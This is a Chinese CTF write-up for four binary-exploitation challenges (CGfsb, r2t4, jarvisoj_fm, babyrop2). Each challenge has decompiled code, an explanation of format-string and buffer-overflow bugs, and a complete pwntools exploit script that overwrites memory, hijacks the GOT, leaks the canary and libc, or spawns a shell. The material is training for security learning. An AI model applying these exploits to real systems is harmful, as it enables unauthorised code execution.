攻防世界:CGfsb
checksec查看保护机制,开启了NX和Canary,32位ELF。
反汇编代码如下:
int main(){
char buf[0x7E - 0x76]; ebp-7E
short int anonymous_0; ebp-76
char s[0x74 - 0x10]; ebp-74
int anonymous_1; ebp-10
anonymous_1 = gs:14h //gs:14是内存地址,存储Canary保护的随机值
buf[0] = 0;
anonymous_0 = 0;
puts("please tell me your name:");
read(0, buf, 0x0A);
puts("leave your message please:");
fgets(s, 0x64, stdin);
printf("hello %s", buf);
puts("your message is:");
printf(s);
if (ds:pwnme == 8){
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else{
puts("Thank you!");
}
return 0;
}
存在字符串格式化漏洞。
输入的字符串(“aaaa”)是第十个格式化参数。
根据反汇编代码,当内存地址ds:pwnme中的值为8时,程序输出flag。
格式化字符串"%10$n"将已经输出的字符数写入到第十个参数地址。如果第十个参数是ds:pwnme,就可以修改内存地址ds:pwnme的值。
ds:pwnme的地址可在ida中查看,为0x804A068。
利用脚本如下:
#!/usr/bin/env python3
from pwn import *
io = process("cgfsb")
io.sendlineafter("please tell me your name:", b"hacker")
payload = p32(0x804A068) + b"aaaa" + b"%10$n" #p32(0x804A068)共4个字节,所以需要再添加4个字节才正好向内存地址写入8
io.recvuntil("leave your message please:")
io.sendline(payload)
print(io.recvall())
[BJDCTF 2nd]r2t4
checksec检查,64位ELF,开启了NX和Canary。
反汇编代码:
int main(){
char buf[0x30 - 0x08];
char var_8[8];
var_8 = fs:28h; //Canary保护的随机数
read(0, buf, 0x38);
printf(buf);
if(var_8 ^ fs:28h != 0)
stack_chk_fail();
return 0;
}
后门函数system("cat flag");入口地址0x400626
解析:
1、buf缓冲区可以溢出8个字节。
2、如果buf缓冲区发生溢出,Canary保护的值会被破坏,程序调用stack_chk_fail()函数。
3、printf(buf)函数存在格式化字符串漏洞,利用漏洞把stack_chk_fail()函数的got表地址改成后门函数地址。再故意破坏Canary,就能执行后门函数。
read()函数读取的字符串“aaaaaaaa”是第六个格式化参数
编写脚本
#!/usr/bin/env python3
from pwn import *
io = process("./r2t4")
elf = ELF("./r2t4")
scf_got = elf.got["__stack_chk_fail"]
payload = b"%64c%9$hn%1510c%10$hnaaa" + p64(scf_got+2) + p64(scf_got)
io.sendline(payload)
print(io.recvall())
payload解释:
后门函数的地址为0x400626
%64c :输出64个字符,64=0x0040
%9$hn : 9$对应p64(scf_got + 2) ,将前面输出的字符数(0x40)写入9$这个地址,写入高两字节。
%1510c :输出1510个字符,64+1510=0x0626
%10$hn:10$对应p64(scf_got),将前面输出的字符数(0x0626)写入10$这个地址,写入低两字节。
aaa :使栈8字节对齐,以及用来拼凑字数,使缓冲区溢出。
jarvisoj_fm
checksec检查,开启了NX、Canary,32位ELF。
反汇编代码:
int x=3;
int main(){
char buf[0x5C];
read(0, buf, 0x50);
printf(buf);
printf("%d", x);
if(x == 4){
puts("running sh...");
system("/bin/sh");
}
if([esp+7Ch] != gs:14h){ //检查Canary
stack_chk_fail();
}
return 0;
}
全局变量x存储在内存地址0x0804A02C
printf(buf)函数存在格式化字符串漏洞,利用漏洞修改x的值为4
输入字符串"aaaa"是第11个格式化参数
写出脚本
#!/usr/bin/env python3
from pwn import *
io = remote("node4.buuoj.cn", 28925)
payload = p32(0x804A02C) + b"%11$n" //p32(0x804A02C)四个字节,向地址0x804A02C写入4
io.sendline(payload)
io.interactive()
bjdctf_2020_babyrop2
checksec查看保护,开启了NX、Canary,64位ELF。
反汇编代码:
int main(){
int *var_8;
init();
gift();
vuln();
检查Canary
return 0;
}
init(){
puts("Can u return to libc ?");
puts("Try u best!");
检查Canary
}
gift(){
char format[0x10 - 0x8];
int *var_8;
puts("I'll give u some gift to help u!");
scanf("%6s", format);
printf(format);
puts(3);
检查Canary
return
}
vuln(){
char buf[0x20 - 0x8];
int *var_8;
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64);
检查Canary
return
}
解析:
gift函数存在格式化字符串漏洞,vuln函数存在缓冲区溢出漏洞。
利用格式化字符串漏洞泄露Canary,带上Canary执行缓冲区溢出攻击。
找到Canary是第几个格式化参数
gdb执行到gift函数的scanf()部分,输入"aaaaaaaa"。继续执行到printf函数之前,查看此时栈的情况可知Canary(地址为0x7fffffffdf48)需要出栈两次得到。
由此可知Canary是格式化字符串的第7个(5个寄存器+2次出栈)格式化参数。
验证:
利用缓冲区溢出泄露puts函数真实地址
payload
payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
计算出system函数真实地址以及字符串“/bin/sh”真实地址
libc = LibcSearcher("puts", puts_addr) //选择libc版本,笔者在ubuntu20.04上选择了0,后面的system函数成功执行
offset = puts_addr - libc.dump("puts")
system_addr = offset + libc.dump("system")
binsh_addr = offset + libc.dump("str_bin_sh")
print(f'{offset} {system_addr} {binsh_addr}')
利用缓冲区溢出执行system("/bin/sh")
payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter("Pull up your sword and tell me u story!", payload)
io.interactive()
完整脚本
#!/usr/bin/env python3
from pwn import *
from LibcSearcher import *
io = remote("node4.buuoj.cn", 27550)
elf = ELF("./bjdctf_2020_babyrop2")
#泄露canary
payload = "%7$p"
io.recvuntil("I'll give u some gift to help u!")
io.sendline(payload)
io.recvline()
rev = io.recvline()[2:-1].decode()
canary = int(rev, 16)
print(f"Canary: {canary}")
#泄露puts函数真实地址
pop_rdi = 0x400993
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
vuln_addr = elf.symbols["vuln"]
payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
io.sendlineafter("Pull up your sword and tell me u story!", payload)
io.recvline()
puts_addr = u64(io.recv().ljust(8, b'\x00'))
print(puts_addr)
#计算system函数、“/bin/sh”字符串真实地址
libc = LibcSearcher("puts", puts_addr)
offset = puts_addr - libc.dump("puts")
system_addr = offset + libc.dump("system")
binsh_addr = offset + libc.dump("str_bin_sh")
print(f'{offset} {system_addr} {binsh_addr}')
#执行system("/bin/sh")
payload = b'a' * 24 + p64(canary) + b'a' * 8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.sendlineafter("Pull up your sword and tell me u story!", payload)
io.interactive()